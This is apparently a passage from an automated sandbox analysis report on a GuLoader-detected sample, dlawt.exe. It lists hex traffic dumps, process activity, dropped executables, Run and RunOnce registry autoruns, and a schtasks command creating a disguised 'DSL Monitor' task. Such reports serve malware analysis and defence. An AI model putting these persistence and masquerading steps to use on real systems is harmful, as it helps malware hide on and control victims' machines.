e5 7c f9 b3 3f 4e da ae eb 8d 54 53 53 f5 a1 28 d7 b5 ff a8 0c d9 4b c9 ef 18 89 b0 f6 90 12 41 b1 31 69 d9 92 b5 79 a7 
48 b8 ee 4e b5 7d 2d 10 7f 74 e4 1f c3 73 cf 9a 88 9c f5 39 eb 3c e3 da 63 e4 de 94 92 fc 72 fc fb 88 73 98 ac b9 16 f1 07 
f2 f9 f7 05 06 61 bb 9d 2c 7c 28 6d ea 72 91 d8 60 ec 08 0e 78 57 69 cb 83 97 33 a9 39 5f 92 fb 57 c3 84 70 2b 4d 69 51 
99 a6 a1 43 d9 33 36 f2 38 df 2c 0f 1b 59 d6 e1 ca 9e ec 7c 0d 46 44 a7 b6 a0 09 91 8e 8d 36 e6 58 18 9a 4b 22 e1 05 a8 
5a 88 33 84 03 92 0a 4d 4d 86 c4 79 7e a3 0b 58 e8 9f a6 07 5f f7 04 21 f5 c4 14 28 4a 61 56 df f6 11 f1 d7 48 29 3c c9 9c 
89 5a be 14 71 4f b9 80 da 50 91 dd e8 ef e0 d9 23 
Data Ascii: IUz,AKL@D=C*}`Oy|?NTSS(KA1iyHN}-ts9<crsa,|(mr`xWi39_Wp+MiQC368,Y|FD6XK"Z3MMy~X_!(JaVH)<Z
qOP#

2022-09-28 05:32:41 UTC 209 IN Data Raw: 8c 62 a7 e7 91 b1 51 87 8a 8b b0 b2 0b bc 99 1a eb 50 80 4a 1e ba bc ab da 7e 2d 57 17 01 47 a7 bc 0a 70 
8a e1 e4 7a ba b6 6b 3f 51 e1 c7 ad 57 1c a3 d1 a9 6f fb 9a e0 d0 78 a0 45 99 9a c4 80 2e e5 50 4f 83 14 df 0b f6 cf 8b dc 
63 93 ab 57 bf d4 ad 59 fd 7a 3d 17 f1 16 6b 54 5e 51 5c b6 b0 68 9e 31 e7 ef 47 bc 2e 47 88 00 89 24 83 b0 d0 2d 5a 0d 
ac 6c ff 11 08 61 50 38 c8 e3 7f 9a aa 19 16 cd d9 1c c7 4b 89 13 4b 80 b6 b9 e3 4e c5 78 b5 4a 01 b5 1d 3c a2 98 18 38 
bd 11 f3 26 c3 d9 06 6f c1 67 7e 9a 8c 03 f9 31 1c 15 ef c7 44 a0 98 a3 98 25 89 72 ea 69 2b 0f b2 c7 a3 ac 3b c3 1f e9 3f 
10 0a 65 f5 d6 32 b8 5c 77 e1 85 9a 0a f3 27 f6 ff 76 35 aa 33 ab 56 02 ed 6a 89 af 0c b8 97 7c f5 91 c9 aa b8 9b d4 f5 de 
46 4a 62 9a cd 0f ef 42 5c ce 64 9e 99 a1 aa a0 c1 
Data Ascii: bQPJ~-WGpzk?QWoxE.POcWYz=kT^Q\h1G.G$-ZlaP8KKNxJ<8&og~1D%ri+;?e2\w'v53Vj|FJbB\d

2022-09-28 05:32:41 UTC 211 IN Data Raw: d0 f9 70 42 1a a2 f7 59 45 02 1e ca 3c 1b fb e7 e2 6f 0b 5d 94 42 34 f2 33 05 5f 02 6f 75 e4 77 0a 21 61 c1 72 
6a d3 15 2c 95 c7 2b 20 9f ba 8d 52 3f 09 cf 14 bd 86 50 2e 7a 74 97 02 a1 31 ed a9 f2 25 3f f8 da bd 1c cc a3 7e 56 99 
45 0c f5 4c 13 ab e3 a8 34 c9 d4 02 72 fd ba 33 fa b4 1e e9 4b d7 f8 a9 62 b4 02 47 73 be 2f ed 56 da 29 2c 42 5e 58 76 
7e 7b 48 6b 76 3f 73 6e bd 34 7c f1 00 22 5b 00 e0 2d c6 55 98 be e5 e4 b7 fe 01 6f 5f e0 6d c6 64 98 0d 6b 6c 47 35 b9 
82 42 8c 41 63 46 3f 13 36 80 07 a0 22 81 99 7a a8 51 e0 09 4a e9 b8 d4 ba 59 32 bd 6f d4 98 5b 64 03 6c 9b 61 4e cf 86 
71 ab 23 78 bc 2d cf 95 3b ea b8 94 6f bf 0c f3 79 41 3d b8 05 84 db 7c 00 6d 82 7d 00 07 fe 7d 4f bf 95 8a 62 da 84 75 
71 fd 39 46 28 46 92 70 e6 a0 1d 54 60 5f 0b 83 c0 2c 
Data Ascii: pBYE<o]B43_ouw!arj,+ R?P.zt1%?~VEL4r3KbGs/V),B^Xv~{Hkv?sn4|"[-Uo_mdklG5BAcF?6"zQJY2o[dlaNq#x-
;oyA=|m}}Obuq9F(FpT`_,

2022-09-28 05:32:41 UTC 212 IN Data Raw: a8 06 33 93 d2 c2 85 14 59 0b 5b 6c 5e 09 32 97 41 36 9f 1e 5b 2b 16 48 71 26 6c 92 32 04 45 73 1c 42 6b f8 
ac ce 85 14 56 14 12 1b 0a 3a b7 33 6c 4f 4e c6 f7 6d aa f2 d5 17 c6 a8 4d 5f ce a6 b0 e3 b3 73 0c e3 8a 0f f8 b4 df 12 e3 
47 6a 77 30 6c af 37 40 d1 18 ad d8 6e 92 87 58 84 79 8b 60 07 f1 13 ff 84 d3 2c 84 14 b6 6c 2e d0 b1 25 b6 ed af 88 f7 
a6 48 78 0a 92 6d c7 52 c6 7f ef 56 6d 1c 7a 86 f7 53 ba 4d 08 f1 f2 5b 83 6f fc df 23 fe e1 34 c0 88 86 1a 45 30 0c 63 5b 
74 fd ee cc 81 29 91 ac ac 4f 1d f5 72 ef e1 28 5e 5d 87 b8 73 8e 05 a7 6e da ff 32 10 41 1f 2b d5 92 92 8e cb 9e fd 1f 76 
51 23 52 89 33 9a 95 75 3b d1 f0 b0 58 00 36 36 b4 98 e5 9d 5e 94 44 5b d9 72 23 5b 8c aa d0 33 11 f9 37 16 58 73 8d 
c0 1b f0 f2 ca 99 d6 f9 9c 25 71 61 dc ff 93 2d a8 
Data Ascii: 3Y[l^2A6[+Hq&l2EsBkV:3lONmM_sGjw0l7@nXy`,l.%HxmRVmzSM[o#4E0c[t)Or(^]sn2A+vQ#R3u;X66^D[r#
[37Xs%qa-

2022-09-28 05:32:41 UTC 213 IN Data Raw: 70 4c 2c 3a ef 79 4a 80 67 68 e1 3d 6d 1a a4 5c 9a 46 14 c2 71 96 02 94 30 81 95 20 17 11 38 19 33 09 5d 32 
54 78 0a 3a 7a 8e 12 9d a4 23 40 ca b8 c2 13 83 d0 a3 4c e5 de 1f c8 33 5d 8f fe 07 f2 bd 33 9c 53 df e4 cd cd b1 a1 69 
02 d4 6d 4f 21 74 71 59 01 d4 be 3c 76 e6 69 4b 06 0e f2 cd e3 26 9f f5 9e 5c 19 de 1c 3b 4c 03 d9 0c 41 a7 97 b1 01 9b 
00 4f 7b 93 c1 b8 e6 c7 35 a1 e5 1d 78 6d bd e7 6d 28 10 80 30 8b e7 bf d4 c6 5d 7e 9d 9e 04 aa b2 1e 45 6f f1 e0 07 7b 
d8 e3 a6 bf 81 52 4a e6 57 f1 ab 69 8b 6b 3f db 0d f9 c9 b5 55 26 98 02 b9 98 f7 e0 bd 44 b0 04 a5 6c 18 c0 00 8f a7 c9 
6c 80 d9 9c c1 5c c3 9d dc 59 f5 57 31 c5 d1 d1 53 d0 b8 06 1d 06 14 92 0c ef 86 46 3c f7 ee b5 8a 3b cf ee ed 43 a1 d3 
67 d8 aa c6 81 49 81 f0 7a 6d bc df 38 0e 55 fc 41 dd db 
Data Ascii: pL,:yJgh=m\Fq0 83]2Tx:z#@L3]3SimO!tqY<viK&\;LAO{5xmm(0]~Eo{RJWik?U&Dll\YW1SF<;CgIzm8UA

2022-09-28 05:32:41 UTC 215 IN Data Raw: 6b 67 43 8f 7f c7 bb 32 01 4f 39 24 84 ca 64 d4 aa f9 ca a8 a8 98 c3 7d bc cc d2 3f 52 53 92 ae e9 6f 48 25 a3 
25 bd d7 c1 ee 62 0f 32 07 f8 e5 1a f9 f3 c4 61 7e e4 c2 6a 9d 21 cb 89 fd e0 05 fa 82 02 e4 6e 3f fe 09 11 72 9a 7b 64 8e 
8d 14 42 43 db 69 69 66 75 fa a5 7e 0f 79 6e e0 a9 52 1e d0 c9 72 89 26 b4 99 3c 78 08 0c a0 c0 e7 48 24 43 e1 e1 e7 
5c ee 19 bf 41 86 52 88 e2 02 d4 b4 80 ff d9 48 e3 70 cb f6 a4 24 1a da 9f b1 ee 1c a4 76 e6 2f 4b cb 43 e5 8b 3c 4b 79 
c0 f1 b0 a9 46 45 d5 c0 10 04 51 03 8b 09 46 21 bf a4 8c ed c0 d1 e0 80 0a 68 4a fe 9e 89 72 f4 8a a2 ff 5d 5e e1 ac 32 
ce fb aa ba 05 84 d2 e4 a7 72 95 d3 c6 7a 95 bd a4 c4 65 33 0b ef 70 91 85 8c a3 fd 79 f3 94 da 3e 7b be f9 51 98 5f 69 
e6 9e e2 36 25 fa ef 0b 26 60 24 fc a7 b8 c4 4f 70 f2 
Data Ascii: kgC2O9$d}?RSoH%%b2a~j!n?r{dBCiifu~ynRr&<xH$C\ARHp$v/KC<KyFEQF!hJr]^2rze3py>{Q_i6%&`$Op

Timestamp
kBytes
transferred

Direction Data

• dlawt.exe

• CasPol.exe

• conhost.exe

• schtasks.exe

• conhost.exe

• schtasks.exe

• conhost.exe

• CasPol.exe

• conhost.exe

• dslmon.exe

• conhost.exe

• dslmon.exe

• conhost.exe

Statistics

Behavior
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Click to jump to process

Target ID: 1

Start time: 07:32:05

Start date: 28/09/2022

Path: C:\Users\user\Desktop\dlawt.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\dlawt.exe" 

Imagebase: 0x400000

File size: 282224 bytes

MD5 hash: CF313A27BCEBA36C7FA863BA1E935676

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000001.00000002.29792156684.0000000003283000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 3

Start time: 07:32:25

Start date: 28/09/2022

Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\dlawt.exe" 

Imagebase: 0xb20000

File size: 106496 bytes

MD5 hash: 7BAE06CBE364BB42B8C34FCFB90E3EBD

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000003.00000000.29620428207.0000000000F00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

System Behavior

Analysis Process: dlawt.exe PID: 1892, Parent PID: 6468

General

File Activities

Analysis Process: CasPol.exe PID: 368, Parent PID: 1892

General

File Activities

File Created
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C:\Users\user\AppData\Local\Te
mp\Overhumanise\Supplicatingly.exe

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 2 F12E5C CreateFileW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F12E5C InternetOpen
UrlA

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F12E5C InternetOpen
UrlA

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F12E5C InternetOpen
UrlA

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F12E5C InternetOpen
UrlA

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F12E5C InternetOpen
UrlA

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 F12E5C InternetOpen
UrlA

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

C:\Users\user\AppData\Roaming\11389406-0377-47ED-
98C7-D564E683C6EB

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 1FD10E61 CreateDirect
oryW

C:\Users\user\AppData\Roaming\11389406-0377-47ED-
98C7-D564E683C6EB\run.dat

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 1FD10F5B CreateFileW

C:\Program Files (x86)\DSL Monitor read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 1FD10E61 CreateDirect
oryW

C:\Program Files (x86)\DSL Monitor\dslmon.exe read data or list 
directory | read 
attributes | 
delete | write dac 
| synchronize | 
generic read | 
generic write

device sequential only | 
non directory file

success or wait 1 1FD111E0 CopyFileW

C:\Users\user\AppData\Local\Temp\tmp7A08.tmp read attributes | 
synchronize | 
generic read

device synchronous io 
non alert | non 
directory file

success or wait 1 1FD113DC GetTempFile
NameW

File Path Access Attributes Options Completion Count Source Address Symbol
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C:\Users\user\AppData\Roaming\11389406-0377-47ED-
98C7-D564E683C6EB\task.dat

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 1FD10F5B CreateFileW

C:\Users\user\AppData\Local\Temp\tmp7C99.tmp read attributes | 
synchronize | 
generic read

device synchronous io 
non alert | non 
directory file

success or wait 1 1FD113DC GetTempFile
NameW

C:\Users\user\AppData\Roaming\11389406-0377-47ED-
98C7-D564E683C6EB\Logs

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 1FD10E61 CreateDirect
oryW

C:\Users\user\AppData\Roaming\11389406-0377-47ED-
98C7-D564E683C6EB\Logs\user

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 1FD10E61 CreateDirect
oryW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

C:\Users\user\AppData\Roaming\11389406-0377-47ED-
98C7-D564E683C6EB\catalog.dat

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 1FD10F5B CreateFileW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Te
mp\Overhumanise\Supplicatingly.exe

0 282224 00 5a fd 00 03 00 00 00 
04 00 00 00 fd fd 00 00 fd 
00 00 00 00 00 00 00 40 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 fd 00 00 00 0e 
1f fd 0e 00 fd 09 fd 21 fd 
01 4c fd 21 54 68 69 73 
20 70 72 6f 67 72 61 6d 
20 63 61 6e 6e 6f 74 20 
62 65 20 72 75 6e 20 69 
6e 20 44 4f 53 20 6d 6f 
64 65 2e 0d 0d 0a 24 00 
00 00 00 00 00 00 fd 31 
08 fd fd 50 66 fd fd 50 66 
fd fd 50 66 fd 2a 5f 39 fd 
fd 50 66 fd fd 50 67 fd 4c 
50 66 fd 2a 5f 3b fd fd 50 
66 bd 73 56 fd fd 50 66 fd 
2e 56 60 fd fd 50 66 fd 52 
69 63 68 fd 50 66 fd 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 50 
45 00 00 4c 01 05 00 2e 
fd 6f 5a 00 00 00 00 00 
00 00 00 fd 00 0f 01 0b 
01 06 00 00 64 00 00 00 
2a 02 00 00 08 00 

Z@!L!This program 
cannot be run in DOS 
mode.$1PfPfPf*_9PfPgL
Pf*_;PfsVPf.V`PfRichPfP
EL.oZd*

success or wait 2 F056E3 WriteFile

C:\Users\user\AppData\Roaming\
11389406-0377-47ED-98C7-D564E6
83C6EB\run.dat

0 8 40 fd fd 3e 1b fd fd 48 @>H success or wait 1 1FD11113 WriteFile

File Written
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C:\Program Files (x86)\DSL Mon
itor\dslmon.exe

0 106496 4d 5a fd 00 03 00 00 00 
04 00 00 00 fd fd 00 00 fd 
00 00 00 00 00 00 00 40 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 fd 00 00 00 0e 
1f fd 0e 00 fd 09 fd 21 fd 
01 4c fd 21 54 68 69 73 
20 70 72 6f 67 72 61 6d 
20 63 61 6e 6e 6f 74 20 
62 65 20 72 75 6e 20 69 
6e 20 44 4f 53 20 6d 6f 
64 65 2e 0d 0d 0a 24 00 
00 00 00 00 00 00 50 45 
00 00 4c 01 03 00 fd fd fd 
5d 00 00 00 00 00 00 00 
00 fd 00 0e 01 0b 01 08 
00 00 70 01 00 00 20 00 
00 00 00 00 00 fd fd 01 
00 00 20 00 00 00 fd 01 
00 00 00 40 00 00 20 00 
00 00 10 00 00 04 00 00 
00 00 00 00 00 04 00 00 
00 00 00 00 00 00 fd 01 
00 00 10 00 00 fd 43 02 
00 03 00 40 05 00 00 10 
00 00 10 00 00 00 00 10 
00 00 10 00 00 00 00 00 
00 10 00 00 00 00 00 00 
00 00 00 00 

MZ@!L!This program 
cannot be run in DOS 
mode.$PEL]p  @ C@

success or wait 1 1FD111E0 CopyFileW

C:\Users\user\AppData\Local\Te
mp\tmp7A08.tmp

0 1319 3c 3f 78 6d 6c 20 76 65 
72 73 69 6f 6e 3d 22 31 
2e 30 22 20 65 6e 63 6f 
64 69 6e 67 3d 22 55 54 
46 2d 31 36 22 3f 3e 0d 
0a 3c 54 61 73 6b 20 76 
65 72 73 69 6f 6e 3d 22 
31 2e 32 22 20 78 6d 6c 
6e 73 3d 22 68 74 74 70 
3a 2f 2f 73 63 68 65 6d 
61 73 2e 6d 69 63 72 6f 
73 6f 66 74 2e 63 6f 6d 2f 
77 69 6e 64 6f 77 73 2f 
32 30 30 34 2f 30 32 2f 
6d 69 74 2f 74 61 73 6b 
22 3e 0d 0a 20 20 3c 52 
65 67 69 73 74 72 61 74 
69 6f 6e 49 6e 66 6f 20 2f 
3e 0d 0a 20 20 3c 54 72 
69 67 67 65 72 73 20 2f 
3e 0d 0a 20 20 3c 50 72 
69 6e 63 69 70 61 6c 73 
3e 0d 0a 20 20 20 20 3c 
50 72 69 6e 63 69 70 61 
6c 20 69 64 3d 22 41 75 
74 68 6f 72 22 3e 0d 0a 
20 20 20 20 20 20 3c 4c 
6f 67 6f 6e 54 79 70 65 
3e 49 6e 74 65 72 61 63 
74 69 76 65 54 6f 6b 65 
6e 3c 2f 4c 6f 67 6f 6e 54 
79 70 65 3e 

<?xml version="1.0" 
encoding="UTF-16"?>
<Task version="1.2" x
mlns="http://schemas.mic
rosoft
.com/windows/2004/02/m
it/task">  
<RegistrationInfo />  
<Triggers />  
<Principals>    <Principal 
id="Author">      <Logon
Type>InteractiveToken</
LogonType>

success or wait 1 1FD11113 WriteFile

C:\Users\user\AppData\Roaming\
11389406-0377-47ED-98C7-D564E6
83C6EB\task.dat

0 56 43 3a 5c 57 69 6e 64 6f 
77 73 5c 4d 69 63 72 6f 
73 6f 66 74 2e 4e 45 54 
5c 46 72 61 6d 65 77 6f 
72 6b 5c 76 32 2e 30 2e 
35 30 37 32 37 5c 63 61 
73 70 6f 6c 2e 65 78 65 

C:\Windows\Microsoft.NE
T\Frame
work\v2.0.50727\caspol.e
xe

success or wait 1 1FD11113 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Te
mp\tmp7C99.tmp

0 1308 3c 3f 78 6d 6c 20 76 65 
72 73 69 6f 6e 3d 22 31 
2e 30 22 20 65 6e 63 6f 
64 69 6e 67 3d 22 55 54 
46 2d 31 36 22 3f 3e 0d 
0a 3c 54 61 73 6b 20 76 
65 72 73 69 6f 6e 3d 22 
31 2e 32 22 20 78 6d 6c 
6e 73 3d 22 68 74 74 70 
3a 2f 2f 73 63 68 65 6d 
61 73 2e 6d 69 63 72 6f 
73 6f 66 74 2e 63 6f 6d 2f 
77 69 6e 64 6f 77 73 2f 
32 30 30 34 2f 30 32 2f 
6d 69 74 2f 74 61 73 6b 
22 3e 0d 0a 20 20 3c 52 
65 67 69 73 74 72 61 74 
69 6f 6e 49 6e 66 6f 20 2f 
3e 0d 0a 20 20 3c 54 72 
69 67 67 65 72 73 20 2f 
3e 0d 0a 20 20 3c 50 72 
69 6e 63 69 70 61 6c 73 
3e 0d 0a 20 20 20 20 3c 
50 72 69 6e 63 69 70 61 
6c 20 69 64 3d 22 41 75 
74 68 6f 72 22 3e 0d 0a 
20 20 20 20 20 20 3c 4c 
6f 67 6f 6e 54 79 70 65 
3e 49 6e 74 65 72 61 63 
74 69 76 65 54 6f 6b 65 
6e 3c 2f 4c 6f 67 6f 6e 54 
79 70 65 3e 

<?xml version="1.0" 
encoding="UTF-16"?>
<Task version="1.2" x
mlns="http://schemas.mic
rosoft
.com/windows/2004/02/m
it/task">  
<RegistrationInfo />  
<Triggers />  
<Principals>    <Principal 
id="Author">      <Logon
Type>InteractiveToken</
LogonType>

success or wait 1 1FD11113 WriteFile

C:\Users\user\AppData\Roaming\
11389406-0377-47ED-98C7-D564E6
83C6EB\catalog.dat

0 248 47 6a fd 68 5c fd 33 fa 41 
fd fd fd 35 fd 78 fd fd 26 
15 fd fd 69 2b fd 49 63 28 
31 fd 50 fd fd 50 fd 63 4c 
54 fd fd 42 41 fd 62 fd fd 
1b fd fd fd fd fd 34 68 fd 
12 fd 74 fd 2b fd 07 5a 5c 
fd fd 20 fd 69 fd fd a4 fd 
fd 40 fd 33 fd fd 7b 0c fd 
1c 67 72 76 2b 56 fd fd fd 
42 19 0e fd 0d fd fd 15 5d 
fd 50 fd fd 16 57 fd 34 43 
7d 75 4c 1e fd fd 5f 66 fd 
5a 23 fd 7c fd 11 fd 40 48 
6b 47 10 1f fd 31 47 fd fd 
4f 2a 56 2e 15 0e eb fd 1f 
fd fd fd fd 70 7a fd fd fd fd 
22 fd 0a 07 fd 72 fd fd 10 
77 26 26 7c fd fd 63 fd fd 
33 7d 7e fd fd fd 1d fd 7e 
fd f6 fd 6f 73 fd fd 66 fd 
05 fd 12 fd fd fd 34 12 fd 
31 fd 67 4a fd 27 fd 64 22 
fd 4c fd 0b fd 41 fd 74 fd 
c7 fd 46 fd 7b fd 2b 14 fd 
43 0c 7c 26 fd 77 

Gjh\3A5x&i+c(1PPcLTAb
4ht+Z\ i@
3{grv+VB]PW4C}uLfZ#|
@HkGGO*V.p
z"rw&&|c3}~~osf41gJ'd"L
AtF{C|&w

success or wait 1 1FD11113 WriteFile

C:\Users\user\AppData\Roaming\
11389406-0377-47ED-98C7-D564E6
83C6EB\catalog.dat

0 248 47 6a fd 68 5c fd 33 fa 41 
fd fd fd 35 fd 78 fd fd 26 
15 fd fd 69 2b fd 49 63 28 
31 fd 50 fd fd 50 fd 63 4c 
54 fd fd 42 41 fd 62 fd fd 
1b fd fd fd fd fd 34 68 fd 
12 fd 74 fd 2b fd 07 5a 5c 
fd fd 20 fd 69 fd fd a4 fd 
fd 40 fd 33 fd fd 7b 0c fd 
1c 67 72 76 2b 56 fd fd fd 
42 19 0e fd 0d fd fd 15 5d 
fd 50 fd fd 16 57 fd 34 43 
7d 75 4c 1e fd fd 5f 66 fd 
5a 23 fd 7c fd 11 fd 40 48 
6b 47 10 1f fd 31 47 fd fd 
4f 2a 56 2e 15 0e eb fd 1f 
fd fd fd fd 70 7a fd fd fd fd 
22 fd 0a 07 fd 72 fd fd 10 
77 26 26 7c fd fd 63 fd fd 
33 7d 7e fd fd fd 1d fd 7e 
fd f6 fd 6f 73 fd fd 66 fd 
05 fd 12 fd fd fd 34 12 fd 
31 fd 67 4a fd 27 fd 64 22 
fd 4c fd 0b fd 41 fd 74 fd 
c7 fd 46 fd 7b fd 2b 14 fd 
43 0c 7c 26 fd 77 

Gjh\3A5x&i+c(1PPcLTAb
4ht+Z\ i@
3{grv+VB]PW4C}uLfZ#|
@HkGGO*V.p
z"rw&&|c3}~~osf41gJ'd"L
AtF{C|&w

success or wait 71 1FD11113 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Read
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File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\Desktop\dlawt.exe unknown 282224 success or wait 1 F12E5C ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 6304 success or wait 3 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 73BA87D8 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 73BA87D8 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 73BA87D8 ReadFile

C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e08
9\mscorlib.dll

unknown 4096 success or wait 1 73C4BFFE unknown

C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e08
9\mscorlib.dll

unknown 512 success or wait 1 73C4BFFE unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe unknown 4096 success or wait 1 73C4BFFE unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe unknown 512 success or wait 1 73C4BFFE unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 8175 end of file 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4096 end of file 1 1FD11113 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4096 success or wait 1 1FD11113 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4096 end of file 1 1FD11113 ReadFile

Key Path Name Type Data Completion Count Source Address Symbol

HKEY_CURRENT_USER\SOFTW
ARE\Mic
rosoft\Windows\CurrentVersion\
RunOnce

Funklendes unicode C:\Users\user\AppData\Local\Te
mp\Overhumanise\Supplicatingly.exe

success or wait 1 F047DB RegSetValueEx
A

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Windows\C
urrentVersion\Run

DSL Monitor unicode C:\Program Files (x86)\DSL Mon
itor\dslmon.exe

success or wait 1 1FD112D2 RegSetValueEx
W

Target ID: 4

Start time: 07:32:26

Start date: 28/09/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63db50000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Offset Length Completion Count Source Address Symbol

Registry Activities

Key Value Created

Analysis Process: conhost.exe PID: 7160, Parent PID: 368

General

File Activities
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Target ID: 5

Start time: 07:32:41

Start date: 28/09/2022

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit): true

Commandline: schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp7A08.tmp

Imagebase: 0x820000

File size: 187904 bytes

MD5 hash: 478BEAEC1C3A9417272BC8964ADD1CEE

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\tmp7A08.tmp unknown 2 success or wait 1 82B43E ReadFile

C:\Users\user\AppData\Local\Temp\tmp7A08.tmp unknown 1320 success or wait 1 82B4E3 ReadFile

Target ID: 6

Start time: 07:32:42

Start date: 28/09/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63db50000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

Target ID: 7

Start time: 07:32:42

Start date: 28/09/2022

